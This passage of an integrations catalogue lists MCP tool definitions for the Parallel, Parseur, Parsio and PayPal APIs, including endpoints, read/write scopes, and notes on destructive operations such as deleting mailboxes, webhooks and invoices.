Scopes: api. parallel_get_v1_tasks_runs_by_run_id_input (read) — Retrieve Task Run Input -- Retrieves the input of a run by run_id. via GET /v1/tasks/runs/{run_id}/input GET /api/v1/parallel/v1/tasks/runs/{run_id}/input. Scopes: api. parallel_get_v1_tasks_runs_by_run_id_result (read) — Retrieve Task Run Result -- Retrieves a run result by run_id, blocking until the run is completed. via GET /v1/tasks/runs/{run_id}/result GET /api/v1/parallel/v1/tasks/runs/{run_id}/result. Scopes: api. parallel_get_v1beta_findall_runs_by_findall_id (read) — Retrieve FindAll Run Status -- Retrieve a FindAll run. via GET /v1beta/findall/runs/{findall_id} GET /api/v1/parallel/v1beta/findall/runs/{findall_id}. Scopes: api. parallel_get_v1beta_findall_runs_by_findall_id_result (read) — FindAll Run Result -- Retrieve the FindAll run result at the time of the request. via GET /v1beta/findall/runs/{findall_id}/result GET /api/v1/parallel/v1beta/findall/runs/{findall_id}/result. Scopes: api. parallel_get_v1beta_findall_runs_by_findall_id_schema (read) — Get FindAll Run Schema via GET /v1beta/findall/runs/{findall_id}/schema GET /api/v1/parallel/v1beta/findall/runs/{findall_id}/schema. Scopes: api. parallel_post_v1_extract (write) — Extract -- Extracts relevant content from specific web URLs. The legacy Extract API reference (`/v1beta/extract` endpoint) is available [here](https://docs.parallel.ai/api-reference/legacy/extract-beta/extract), and migration guide is [here](https://docs.parallel.ai/extract/extract-migration-guide). via POST /v1/extract POST /api/v1/parallel/v1/extract. Scopes: api. parallel_post_v1_monitors (write) — Create Monitor -- Create a monitor. Monitors run on a fixed frequency to detect material changes in web content. Set `type=event_stream` to monitor a search query, or `type=snapshot` to monitor a specific task run's output. The monitor runs once immediately at creation, then continues on the configured schedule. via POST /v1/monitors POST /api/v1/parallel/v1/monitors. Scopes: api. parallel_post_v1_monitors_by_monitor_id_cancel (write, destructive) — Cancel Monitor -- Cancel a monitor. Permanently stops the monitor from running. Cancellation is irreversible — create a new monitor to resume monitoring. Cancelling an already-cancelled monitor is a no-op. via POST /v1/monitors/{monitor_id}/cancel. DESTRUCTIVE: Parallel's own words -- "Permanently stops the monitor from running. Cancellation is irreversible - create a new monitor to resume monitoring." A cancelled monitor can no longer be updated or triggered either. POST /api/v1/parallel/v1/monitors/{monitor_id}/cancel. Scopes: api. parallel_post_v1_monitors_by_monitor_id_trigger (write) — Trigger Monitor Run -- Trigger an immediate monitor run. Enqueues a one-off execution of the monitor outside its normal schedule. The monitor's regular schedule is not affected. An event is only emitted if the execution detects a material change. Cancelled monitors cannot be triggered. via POST /v1/monitors/{monitor_id}/trigger POST /api/v1/parallel/v1/monitors/{monitor_id}/trigger. Scopes: api. parallel_post_v1_monitors_by_monitor_id_update (write) — Update Monitor -- Update a monitor. Only fields explicitly included in the request body are changed. Pass `null` to clear `webhook`, `metadata`, or `settings.advanced_settings`; every other field rejects `null`, so omit it to leave it unchanged. Pass `type` and `settings` to update type-specific settings on an `event_stream` monitor. Pass `processor` to change the processor used by subsequent monitor runs. At least one field must be provided. Cancelled monitors cannot be updated. via POST /v1/monitors/{monitor_id}/update POST /api/v1/parallel/v1/monitors/{monitor_id}/update. Scopes: api. parallel_post_v1_responses (write) — Create Response -- Create a response. Generates an answer to the given input, grounded in live web research and annotated with URL citations. Set `model` to `parallel`; `reasoning.effort` (`low`/`medium`/`high`) controls how much research is performed, trading response time for answer quality. Returns an OpenAI-format `Response` as `application/json`, or a `text/event-stream` of OpenAI Responses SSE events when `stream=true`. via POST /v1/responses. Returns the complete JSON reply: Parallel's server-sent-event streaming mode is not offered through this tool, so the `stream` request field is not accepted POST /api/v1/parallel/v1/responses. Scopes: api. parallel_post_v1_search (write) — Search -- Searches the web. The legacy Search API reference (`/v1beta/search` endpoint) is available [here](https://docs.parallel.ai/api-reference/legacy/search-beta/search), and migration guide is [here](https://docs.parallel.ai/search/search-migration-guide). via POST /v1/search POST /api/v1/parallel/v1/search. Scopes: api. parallel_post_v1_tasks_groups (write) — Create Task Group -- Initiates a TaskGroup to group and track multiple runs. via POST /v1/tasks/groups POST /api/v1/parallel/v1/tasks/groups. Scopes: api. parallel_post_v1_tasks_groups_by_taskgroup_id_runs (write) — Add Runs to Task Group -- Initiates multiple task runs within a TaskGroup. via POST /v1/tasks/groups/{taskgroup_id}/runs POST /api/v1/parallel/v1/tasks/groups/{taskgroup_id}/runs. Scopes: api. parallel_post_v1_tasks_runs (write) — Create Task Run -- Initiates a task run. Returns immediately with a run object in status 'queued'. Beta features can be enabled by setting the 'parallel-beta' header. via POST /v1/tasks/runs POST /api/v1/parallel/v1/tasks/runs. Scopes: api. parallel_post_v1beta_chat_completions (write) — Chat Completions -- Chat completions. This endpoint can be used to get realtime chat completions. It can also be used with the Task API processors to get structured, research outputs via a chat interface. via POST /v1beta/chat/completions. Returns the complete JSON reply: Parallel's server-sent-event streaming mode is not offered through this tool, so the `stream` request field is not accepted POST /api/v1/parallel/v1beta/chat/completions. Scopes: api. parallel_post_v1beta_findall_entity_search (write) — Fast Entity Search -- Return ranked entities matching a natural language objective. This endpoint performs a best-effort search optimized for low latency. To keep responses fast, it returns a fixed set of attributes and supports queries of limited complexity. For comprehensive match evaluation and enrichment, use the [FindAll API](https://docs.parallel.ai/findall-api/findall-quickstart). via POST /v1beta/findall/entity-search POST /api/v1/parallel/v1beta/findall/entity-search. Scopes: api. parallel_post_v1beta_findall_ingest (write) — Ingest FindAll Run -- Transforms a natural language search objective into a structured FindAll spec. The generated specification serves as a suggested starting point and can be further customized by the user. via POST /v1beta/findall/ingest POST /api/v1/parallel/v1beta/findall/ingest. Scopes: api. parallel_post_v1beta_findall_runs (write) — Create FindAll Run -- Starts a FindAll run. This endpoint immediately returns a FindAll run object with status set to 'queued'. You can get the run result snapshot using the GET /v1beta/findall/runs/{findall_id}/result endpoint. You can track the progress of the run by: - Polling the status using the GET /v1beta/findall/runs/{findall_id} endpoint, - Subscribing to real-time updates via the /v1beta/findall/runs/{findall_id}/events endpoint, - Or specifying a webhook with relevant event types during run creation to receive notifications. via POST /v1beta/findall/runs POST /api/v1/parallel/v1beta/findall/runs. Scopes: api. parallel_post_v1beta_findall_runs_by_findall_id_cancel (write, destructive) — Cancel FindAll Run -- Cancel a FindAll run. via POST /v1beta/findall/runs/{findall_id}/cancel. DESTRUCTIVE: terminates a FindAll run in flight. A terminated run cannot be cancelled again (409 "Cannot cancel a terminated FindAll run") and cannot be resumed; the work already billed is not recovered and continuing requires a new run. POST /api/v1/parallel/v1beta/findall/runs/{findall_id}/cancel. Scopes: api. parallel_post_v1beta_findall_runs_by_findall_id_enrich (write) — Add Enrichment to FindAll Run -- Add an enrichment to a FindAll run. via POST /v1beta/findall/runs/{findall_id}/enrich POST /api/v1/parallel/v1beta/findall/runs/{findall_id}/enrich. Scopes: api. parallel_post_v1beta_findall_runs_by_findall_id_extend (write) — Extend FindAll Run -- Extend a FindAll run by adding additional matches to the current match limit. via POST /v1beta/findall/runs/{findall_id}/extend POST /api/v1/parallel/v1beta/findall/runs/{findall_id}/extend. Scopes: api. parallel_post_v1beta_memory_clear (write, destructive) — Clear Memory -- Clears all entries from the selected memory without deleting the underlying tasks, monitors, or FindAll runs. via POST /v1beta/memory/clear. DESTRUCTIVE: "Clears all entries from the selected memory" -- every entry, not a selection. The underlying tasks, monitors and FindAll runs survive, but the memory itself is not restorable from this API. POST /api/v1/parallel/v1beta/memory/clear. Scopes: api. parallel_post_v1beta_memory_evict (write, destructive) — Evict from Memory -- Removes a task run, monitor, or FindAll run from the selected memory without deleting the original resource. via POST /v1beta/memory/evict. DESTRUCTIVE: "Removes a task run, monitor, or FindAll run from the selected memory". The original resource survives; its memory entry is not restorable from this API. POST /api/v1/parallel/v1beta/memory/evict. Scopes: api. parallel_post_v1beta_memory_retrieve (write) — Retrieve Memory -- Retrieves relevant or recent runs from the selected memory. Provide a query to rank results by relevance; leave it empty to return the most recent runs. via POST /v1beta/memory/retrieve POST /api/v1/parallel/v1beta/memory/retrieve. Scopes: api. ================================================================================ ## Parseur URL: https://www.agenticfabriq.com/integrations/parseur Section: Integrated Tools Parseur — 28 MCP tools Provider key: parseur. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. parseur_delete_document_by_id (write, destructive) — Delete one document and its parsed result. Measured: Parseur answers 204 and the document is gone immediately -- absent from its mailbox's collection and 404 at its own address. There is no recycle bin, and deleting a document does not refund the page it consumed DELETE /api/v1/parseur/document/{id}. Scopes: api. parseur_delete_parser_by_id (write, destructive) — Delete a mailbox and everything in it -- every document, every template and every custom download. Parseur answers 200 with `{"notification_set": {"info": ["Mailbox is being deleted. This can take a while."]}}` and removes it asynchronously, so a read-back may briefly still find it before it 404s. There is no undo and no recycle bin DELETE /api/v1/parseur/parser/{id}. Scopes: api. parseur_delete_parser_by_mailbox_id_export_config_by_id (write, destructive) — Remove one custom download configuration from a mailbox. Answers 204. The mailbox, its documents and its parsed results are untouched -- only the named export definition is deleted, and any link built from it stops working DELETE /api/v1/parseur/parser/{mailbox_id}/export_config/{id}. Scopes: api. parseur_delete_parser_by_mailbox_id_webhook_set_by_id (write, destructive) — Detach a webhook from one mailbox so that mailbox stops firing it. DESPITE THE HTTP VERB THIS DOES NOT DELETE THE WEBHOOK: the webhook survives at the account level and stays enabled on every other mailbox. Use Delete a webhook to remove it entirely DELETE /api/v1/parseur/parser/{mailbox_id}/webhook_set/{id}. Scopes: api. parseur_delete_template_by_id (write, destructive) — Delete one parsing template. Answers 204. Documents already parsed keep their results, but nothing new will match this template again -- so a mailbox whose only template is deleted starts failing to parse everything it receives DELETE /api/v1/parseur/template/{id}. Scopes: api. parseur_delete_webhook_by_id (write, destructive) — Delete a webhook from the account entirely, detaching it from every mailbox it was enabled on. This is the destructive counterpart of Disable a webhook on a mailbox, which only detaches it from one DELETE /api/v1/parseur/webhook/{id}. Scopes: api. parseur_get_bootstrap (read) — Fetch Parseur's own configuration reference: the allowed values for every enumerated setting (document statuses, AI engines, date and decimal formats, log sources), the field-format mappings a template may use, the maximum field lengths, the catalogue of master templates (Invoices, Bank Statements and the rest) and `email_domain`, the domain mailbox addresses are formed on. Read it before creating or updating a mailbox so the settings you send are values Parseur accepts. This endpoint answers WITHOUT a credential, so it keeps working even when a connection's key is wrong, and it is account-independent GET /api/v1/parseur/bootstrap. Scopes: api. parseur_get_document_by_id (read) — Fetch one document by id: its status, the mailbox it arrived in, its original metadata (sender, subject, recipient) and the fields Parseur extracted from it. This is how to read a parsed result after the Upload a document tool returns a DocumentID GET /api/v1/parseur/document/{id}. Scopes: api. parseur_get_document_by_id_log_set (read) — List the processing events recorded for one document -- what Parseur did, when, which template matched and why an export or webhook succeeded or failed. This is the tool to reach for when a document's status is PARSEDKO or EXPORTKO and the question is why GET /api/v1/parseur/document/{id}/log_set. Scopes: api. parseur_get_parser (read) — List the Parseur mailboxes on the connected account, each with its id, name, `email_prefix`, document counts by status, template count and parsing settings. This is where a mailbox id comes from for every other tool here, including the id the Upload a document tool requires. Paginated with `page` and `page_size`; `search` matches the name case-insensitively and `ordering` takes a field name with a `-` prefix for descending GET /api/v1/parseur/parser. Scopes: api. parseur_get_parser_by_id (read) — Fetch one mailbox by id, with its full parsing configuration: the AI engine, the metadata fields that are enabled, the allowed file extensions, page-range and splitting rules, the retention policy and its `email_prefix`. An id the connected credential does not own answers 404 "Mailbox not found" rather than 403, so Parseur hides the existence of other accounts' mailboxes GET /api/v1/parseur/parser/{id}. Scopes: api. parseur_get_parser_by_id_document_set (read) — List the documents a mailbox has received, newest first by default, each with its id, name, status and parsed result. Filter by `status` (PARSEDOK, PARSEDKO, QUOTAEXC, SKIPPED and the rest), by `received_after`/`received_before` as `yyyy-mm-dd`, or by a case-insensitive `search`; `tz` sets the timezone the date filters are read in and defaults to UTC. `page` and `page_size` paginate GET /api/v1/parseur/parser/{id}/document_set. Scopes: api. parseur_get_parser_by_id_export_config (read) — List the custom download configurations on a mailbox -- the named CSV, Excel and JSON exports that choose which parsed fields appear and in what order. Each entry carries its id, name, type and the field items it selects GET /api/v1/parseur/parser/{id}/export_config. Scopes: api. parseur_get_parser_by_id_schema (read) — Fetch the JSON schema of the fields this mailbox extracts -- the names, types and formats its templates produce. This is the contract a consumer of the parsed results should read before mapping them, and the fastest way to see what a mailbox actually captures without fetching a document GET /api/v1/parseur/parser/{id}/schema. Scopes: api. parseur_get_parser_by_id_template_set (read) — List the parsing templates defined on a mailbox, each with its id and name. Templates are what turn a received document into named fields, so a mailbox with none parses nothing. Pair with Get a mailbox's parsed-field schema to see what the template set actually produces GET /api/v1/parseur/parser/{id}/template_set. Scopes: api. parseur_get_template_by_id (read) — Fetch one parsing template by id, with the field definitions it captures and the rules it matches on. The id comes from List templates in a mailbox GET /api/v1/parseur/template/{id}. Scopes: api. parseur_patch_parser_by_mailbox_id_export_config_by_id (write) — Change one custom download on a mailbox -- its name, its type or the fields it selects. A PATCH, so send only what is changing. Takes both ids: `mailbox_id` for the mailbox and `id` for the download itself, which the List custom downloads tool returns PATCH /api/v1/parseur/parser/{mailbox_id}/export_config/{id}. Scopes: api. parseur_post_document_by_id_copy_by_target_mailbox_id (write) — Copy one document into another mailbox on the same account, where it is parsed against THAT mailbox's templates. Both ids must belong to the connected account. Use it to test a document against a different template set without re-uploading it; the copy is a new document and consumes a page in the target mailbox POST /api/v1/parseur/document/{id}/copy/{target_mailbox_id}. Scopes: api. parseur_post_document_by_id_process (write) — Re-run parsing on a document that has already been received, against the mailbox's CURRENT templates. Use it after fixing or adding a template so an already-failed document is parsed again without being re-uploaded. Reprocessing an existing document does not consume another page POST /api/v1/parseur/document/{id}/process. Scopes: api. parseur_post_document_by_id_skip (write) — Mark a document SKIPPED so Parseur stops trying to parse it and stops reporting it as a failure. The document and its metadata stay; only the parsing attempt is abandoned. This is the way to clear a document that will never match a template out of the failure counts POST /api/v1/parseur/document/{id}/skip. Scopes: api. parseur_post_email (write) — Upload an email or text document into one of THIS connection's mailboxes and have Parseur parse it. `mailbox_id` names the destination and comes from the List mailboxes tool; the document itself is the `body` -- `subject`, `from`, and `body_plain` or `body_html`, plus optional `to`, `cc`, `bcc` and `message_headers`, which are recorded as the document's metadata. SPENDS A PAGE OF THE ACCOUNT'S PARSING QUOTA on every successful call, and the free tier is 20 pages a month -- a retry loop is a billing event. Returns the new DocumentID; read the parsed result with Get a document once its status leaves PROGRESS. You cannot address a mailbox outside this connection: the id is resolved with your own credential first, and Parseur answers 404 for a mailbox the credential does not own POST /api/v1/parseur/email. Scopes: api. parseur_post_parser (write) — Create a new Parseur mailbox. A mailbox is the unit that receives documents and holds the templates that parse them. Only `name` is needed in practice -- every other field has a default, and Parseur generates the id, the account uuid, the `email_prefix` and the download URLs itself. Do not send any of those generated fields: Parseur answers 400 "Unexpected field." for the read-only collections POST /api/v1/parseur/parser. Scopes: api. parseur_post_parser_by_id_copy (write) — Duplicate a mailbox, with its templates and parsing settings, into a new mailbox on the same account. The copy gets its own id and its own `email_prefix`, so documents sent to the original are unaffected. Useful for versioning a template set before editing it POST /api/v1/parseur/parser/{id}/copy. Scopes: api. parseur_post_parser_by_id_export_config (write) — Add a custom download to a mailbox: a `name`, a `type` (which export format it produces) and the `items` naming the parsed fields it includes and their order. Parseur generates the id and the download URLs, so do not send them. Answers 409 when a download of that name already exists on the mailbox POST /api/v1/parseur/parser/{id}/export_config. Scopes: api. parseur_post_parser_by_mailbox_id_webhook_set_by_id (write) — Attach an existing webhook to a mailbox so that mailbox's events start firing it. Takes the `mailbox_id` and the webhook's `id`. The webhook itself is account-level and can be enabled on several mailboxes POST /api/v1/parseur/parser/{mailbox_id}/webhook_set/{id}. Scopes: api. parseur_post_template_by_id_copy_by_target_mailbox_id (write) — Copy one parsing template into another mailbox on the same account, leaving the original in place. Both ids must belong to the connected account. This is how a template that works on one mailbox is reused without rebuilding it POST /api/v1/parseur/template/{id}/copy/{target_mailbox_id}. Scopes: api. parseur_post_webhook (write) — Create a webhook on the account: the `event` it fires on, the `target` URL it posts to, its `category` and optional `headers` and a `parser_field_set` narrowing which parsed fields are sent. Parseur generates the id, so do not send one. Creating a webhook does not attach it to a mailbox -- use Enable a webhook on a mailbox for that POST /api/v1/parseur/webhook. Scopes: api. parseur_put_parser_by_id (write) — Replace a mailbox's settings: its name, AI engine and instructions, which metadata fields are enabled, allowed extensions, splitting and page-range rules, retention and the sender allow/deny list. This is a PUT, so send the whole configuration you want rather than only the fields you are changing. Parseur generates the id, account uuid, `email_prefix` and download URLs and refuses to be sent them PUT /api/v1/parseur/parser/{id}. Scopes: api. ================================================================================ ## Parsio URL: https://www.agenticfabriq.com/integrations/parsio Section: Integrated Tools Parsio — 27 MCP tools Provider key: parsio. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. parsio_clone_templates (write) — Copy one or more parsing templates into a target mailbox -- the way to reuse a trained template across mailboxes without retraining it. Takes the template ids and the destination `mailbox_id`. POST /api/v1/parsio/templates/clone_many. Scopes: api. parsio_create_document (write) — Import text or HTML into a mailbox and return as soon as the document is queued, without waiting for parsing. Answers 201 carrying the new document's id as a bare JSON string. Collect the result later with Get a document, or let a webhook deliver it. Prefer this over the synchronous variant when you already use webhooks or want the fastest possible reply. POST /api/v1/parsio/mailboxes/{mailbox_id}/doc. Scopes: api. parsio_create_document_sync (write) — Import text or HTML into a mailbox and wait for the parsed result in the same response. This is the endpoint to prefer when you already have the content as text or HTML and you want the extracted fields back immediately: the reply carries `json` with the parsed fields, alongside `doc_id` and `status`. It blocks while Parsio parses. If parsing outruns Parsio's own timeout the reply is still 201 but carries `parsing_in_progress: true` with a null `json` -- that is not a failure, and the result is fetched afterwards with Get a document. POST /api/v1/parsio/mailboxes/{mailbox_id}/doc-sync. Scopes: api. parsio_create_mailbox (write) — Create a new parsing mailbox. Only `name` is required; Parsio assigns the inbound email prefix and the remaining defaults itself and returns the whole created mailbox, including the `_id` to pass to every other operation. Answers 201. POST /api/v1/parsio/mailboxes/create. Scopes: api. parsio_create_webhook (write) — Register a webhook on a mailbox so Parsio POSTs parsed documents to your endpoint as they finish. Answers 201 with the created webhook, including the `_id` you need to update or delete it and the `secret` Parsio signs its deliveries with. POST /api/v1/parsio/webhooks/{mailbox_id}. Scopes: api. parsio_delete_mailbox (write, destructive) — Permanently delete a mailbox and everything it owns -- its documents, templates and webhooks go with it. Answers 200 with an empty body. There is no trash and no undo: confirm the id against List mailboxes before calling this. DELETE /api/v1/parsio/mailboxes/{mailbox_id}. Scopes: api. parsio_delete_templates (write, destructive) — Permanently delete one or more parsing templates by id. The ids travel in the request BODY, not the path or the query -- this is a DELETE with a JSON body. Answers 200 with `true`. There is no undo, and a deleted template must be retrained. DELETE /api/v1/parsio/templates. Scopes: api. parsio_delete_webhooks (write, destructive) — Permanently delete one or more webhooks by id. The ids travel in the request BODY -- this is a DELETE with a JSON body. Answers 200. Deliveries stop immediately and the signing secret is gone with the webhook. DELETE /api/v1/parsio/webhooks. Scopes: api. parsio_disable_templates (write) — Disable one or more parsing templates by id, so the parser stops matching documents against them without deleting them. Answers 201. POST /api/v1/parsio/templates/disable_many. Scopes: api. parsio_enable_templates (write) — Enable one or more parsing templates by id, so the mailbox's parser starts matching incoming documents against them again. Answers 201. POST /api/v1/parsio/templates/enable_many. Scopes: api. parsio_get_document (read) — Fetch one document as JSON -- the same payload shape Parsio's webhooks deliver, including the parsed fields. This is how you collect the result of an asynchronous import, and how you finish a synchronous one that answered `parsing_in_progress: true`. An unknown id answers 200 with an EMPTY body rather than 404, so treat an empty reply as 'no such document', not as a document with no fields. GET /api/v1/parsio/docs/{document_id}. Scopes: api. parsio_get_mailbox (read) — Read one mailbox's settings and configuration -- its parser `preset`, `ml_model`, email prefix, retention, alerting and current `stats`. Use it to discover which parser a mailbox runs before importing into it, because the text/HTML import endpoints only work on template-based and GPT-powered parsers. GET /api/v1/parsio/mailboxes/{mailbox_id}. Scopes: api. parsio_get_template (read) — Read one parsing template. An unknown id answers 200 with an empty body rather than 404, so treat an empty reply as 'no such template'. GET /api/v1/parsio/templates/{template_id}. Scopes: api. parsio_get_webhook (read) — Read one webhook -- its url, event, enabled flag, `table_id` and signing `secret`. An unknown id answers 200 with an empty body rather than 404. GET /api/v1/parsio/webhooks/{webhook_id}. Scopes: api. parsio_list_collected_emails (read) — List the email addresses Parsio collected for a mailbox. Only populated when the mailbox has `collect_emails` switched on; answers an empty array otherwise. GET /api/v1/parsio/mailboxes/{mailbox_id}/emails. Scopes: api. parsio_list_documents (read) — List a mailbox's documents, newest first, in a paged envelope (`docs`, `totalDocs`, `page`, `totalPages`, `hasNextPage`). Filter by status, by name, and by date. This is the operation that reconciles an import whose reply was lost: search for the document by name rather than importing it again. GET /api/v1/parsio/mailboxes/{mailbox_id}/docs. Scopes: api. parsio_list_mailbox_table_fields (read) — List the table fields defined on a mailbox. A table field is what a `table.parsed` webhook fires on, and its id is the `table_id` that webhook needs. Answers a JSON array, empty when the mailbox defines no table fields. GET /api/v1/parsio/mailboxes/{mailbox_id}/tableFields. Scopes: api. parsio_list_mailboxes (read) — List every Parsio mailbox the API key's account can reach. A mailbox is the parsing workspace: it owns a parser type, its templates, its documents and its webhooks, and its `_id` is the `mailbox_id` every other operation here takes. Answers a JSON ARRAY, not a paged envelope. GET /api/v1/parsio/mailboxes. Scopes: api. parsio_list_parsed_data (read) — List the EXTRACTED FIELDS for a mailbox's documents, rather than the documents themselves -- one object of parsed values per document, in a paged envelope whose `docIds` array lines up with `docs`. This is the operation to read when you want the data Parsio pulled out; List documents gives you the documents' metadata instead. GET /api/v1/parsio/mailboxes/{mailbox_id}/parsed. Scopes: api. parsio_list_templates (read) — List the parsing templates defined on a mailbox, in a paged envelope. Templates belong to the template-based parser; a GPT-powered or AI-powered mailbox legitimately has none and answers an empty page. GET /api/v1/parsio/mailboxes/{mailbox_id}/templates. Scopes: api. parsio_list_webhooks (read) — List every webhook registered on a mailbox. Answers a JSON array. Note the `/mb/` segment -- it is what separates this from Get a webhook, which takes a webhook id at the same depth. GET /api/v1/parsio/webhooks/mb/{mailbox_id}. Scopes: api. parsio_reparse_document (write) — Queue a document for reprocessing -- the way to re-extract after changing a template or switching the mailbox's parser. Answers 201 with a bare number, which is a queue handle and not a document id. Reprocessing is asynchronous: poll Get a document for the new result. POST /api/v1/parsio/docs/{document_id}/parse. Scopes: api. parsio_skip_documents (write) — Mark documents as skipped so Parsio stops trying to parse them. Takes a list of document ids and answers 201 with `true`. Use it to clear a backlog of documents that will never parse -- a wrong-format import, or a batch that belongs to another mailbox's template. POST /api/v1/parsio/mailboxes/{mailbox_id}/docs/skip. Scopes: api. parsio_update_mailbox (write) — Update a mailbox's settings. This is a POST, not a PATCH or PUT -- Parsio has no other update verb for a mailbox, and `PUT /mailboxes` does not exist. Both `name` and `email_prefix` must be sent on every call, even when only one of the other fields is changing, so read the mailbox first and send its current values back. POST /api/v1/parsio/mailboxes/{mailbox_id}. Scopes: api. parsio_update_webhook (write) — Update an existing webhook. The webhook's id travels in the BODY as `_id`, not in the path -- the path carries no id at all, which is what distinguishes this from Create a webhook. Send the full set of fields: `_id`, `url`, `event` and `table_id` are all required on every call. POST /api/v1/parsio/webhooks. Scopes: api. parsio_upload_document (write) — Upload one file and return as soon as it is queued, without waiting for parsing. Answers 201 carrying the new document's id as a bare JSON string. This is the variant that accepts ZIP archives, and its ceiling is 50 MB rather than 20 MB -- though this tool's own 4 MiB inline bound applies first. Collect the result with Get a document or through a webhook. POST /api/v1/parsio/mailboxes/{mailbox_id}/upload. Scopes: api. parsio_upload_document_sync (write) — Upload one file -- PDF, scanned PDF, image, DOCX, CSV, XML and the other formats the mailbox's parser supports -- and wait for the parsed result in the same response. The reply carries `json` with the extracted fields alongside `doc_id`, `status` and `content_type`. Works with every Parsio parser type, as long as the mailbox's type supports the format. ZIP is NOT accepted here; use the asynchronous upload for that. Parsio's own ceiling is 20 MB, one file per request. As with the other synchronous endpoint, a reply carrying `parsing_in_progress: true` means parsing outran the timeout and the result is fetched afterwards with Get a document. POST /api/v1/parsio/mailboxes/{mailbox_id}/upload-sync. Scopes: api. ================================================================================ ## PayPal URL: https://www.agenticfabriq.com/integrations/paypal Section: Integrated Tools PayPal — 109 MCP tools Provider key: paypal. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. paypal_delete_v1_notifications_webhooks_by_webhook_id (write, destructive) — Deletes a webhook, by ID. via DELETE /v1/notifications/webhooks/{webhook_id} DELETE /api/v1/paypal/v1/notifications/webhooks/{webhook_id}. Scopes: api. paypal_delete_v1_notifications_webhooks_lookup_by_webhook_lookup_id (write, destructive) — Deletes a webhook lookup, by ID. via DELETE /v1/notifications/webhooks-lookup/{webhook_lookup_id} DELETE /api/v1/paypal/v1/notifications/webhooks-lookup/{webhook_lookup_id}. Scopes: api. paypal_delete_v1_payment_experience_web_profiles_by_id (write, destructive) — Deletes a web experience profile, by ID. via DELETE /v1/payment-experience/web-profiles/{id} DELETE /api/v1/paypal/v1/payment-experience/web-profiles/{id}. Scopes: api. paypal_delete_v2_invoicing_invoices_by_invoice_id (write, destructive) — Deletes a draft or scheduled invoice, by ID. Deletes invoices in the draft or scheduled state only. For invoices that have already been sent, you can <a href="/docs/api/invoicing/v2/#invoices_cancel">cancel the invoice</a>. After you delete a draft or scheduled invoice, you can no longer use it or show its details. However, you can reuse its invoice number. via DELETE /v2/invoicing/invoices/{invoice_id} DELETE /api/v1/paypal/v2/invoicing/invoices/{invoice_id}. Scopes: api. paypal_delete_v2_invoicing_invoices_by_invoice_id_payments_by_transaction_id (write, destructive) — Deletes an external payment, by invoice ID and transaction ID. via DELETE /v2/invoicing/invoices/{invoice_id}/payments/{transaction_id} DELETE /api/v1/paypal/v2/invoicing/invoices/{invoice_id}/payments/{transaction_id}. Scopes: api. paypal_delete_v2_invoicing_invoices_by_invoice_id_refunds_by_transaction_id (write, destructive) — Deletes an external refund, by invoice ID and transaction ID. via DELETE /v2/invoicing/invoices/{invoice_id}/refunds/{transaction_id} DELETE /api/v1/paypal/v2/invoicing/invoices/{invoice_id}/refunds/{transaction_id}. Scopes: api. paypal_delete_v2_invoicing_templates_by_template_id (write, destructive) — Deletes a template, by ID. via DELETE /v2/invoicing/templates/{template_id} DELETE /api/v1/paypal/v2/invoicing/templates/{template_id}. Scopes: api. paypal_delete_v3_vault_payment_tokens_by_id (write, destructive) — Delete the payment token associated with the payment token id. via DELETE /v3/vault/payment-tokens/{id} DELETE /api/v1/paypal/v3/vault/payment-tokens/{id}. Scopes: api. paypal_get_v1_billing_plans (read) — Lists billing plans. via GET /v1/billing/plans GET /api/v1/paypal/v1/billing/plans. Scopes: api. paypal_get_v1_billing_plans_by_id (read) — Shows details for a plan, by ID. via GET /v1/billing/plans/{id} GET /api/v1/paypal/v1/billing/plans/{id}. Scopes: api. paypal_get_v1_billing_subscriptions_by_id (read) — Shows details for a subscription, by ID. via GET /v1/billing/subscriptions/{id} GET /api/v1/paypal/v1/billing/subscriptions/{id}. Scopes: api. paypal_get_v1_billing_subscriptions_by_id_transactions (read) — Lists transactions for a subscription. via GET /v1/billing/subscriptions/{id}/transactions GET /api/v1/paypal/v1/billing/subscriptions/{id}/transactions. Scopes: api. paypal_get_v1_catalogs_products (read) — Lists products. via GET /v1/catalogs/products GET /api/v1/paypal/v1/catalogs/products. Scopes: api. paypal_get_v1_catalogs_products_by_product_id (read) — Shows details for a product, by ID. via GET /v1/catalogs/products/{product_id} GET /api/v1/paypal/v1/catalogs/products/{product_id}. Scopes: api. paypal_get_v1_customer_disputes (read) — Lists disputes with a summary set of details, which shows the <code>dispute_id</code>, <code>reason</code>, <code>status</code>, <code>dispute_state</code>, <code>dispute_life_cycle_stage</code>, <code>dispute_channel</code>, <code>dispute_amount</code>, <code>create_time</code> and <code>update_time</code> fields.<br/><br/>To filter the disputes in the response, specify one or more optional query parameters. To limit the number of disputes in the response, specify the <code>page_size</code> query parameter.<br/><br/>To list multiple disputes, set these query parameters in the request:<ul><li><code>page_size=2</code></li><li><code>start_time</code> instead of <code>disputed_transaction_id</code></li></ul><br/>If the response contains more than two disputes, it lists two disputes and includes a HATEOAS link to the next page of results. via GET /v1/customer/disputes GET /api/v1/paypal/v1/customer/disputes. Scopes: api. paypal_get_v1_customer_disputes_by_id (read) — Shows details for a dispute, by ID.<blockquote><strong>Note:</strong> The fields that appear in the response depend on the access. For example, if the merchant requests shows dispute details, the customer's email ID does not appear.</blockquote> via GET /v1/customer/disputes/{id} GET /api/v1/paypal/v1/customer/disputes/{id}. Scopes: api. 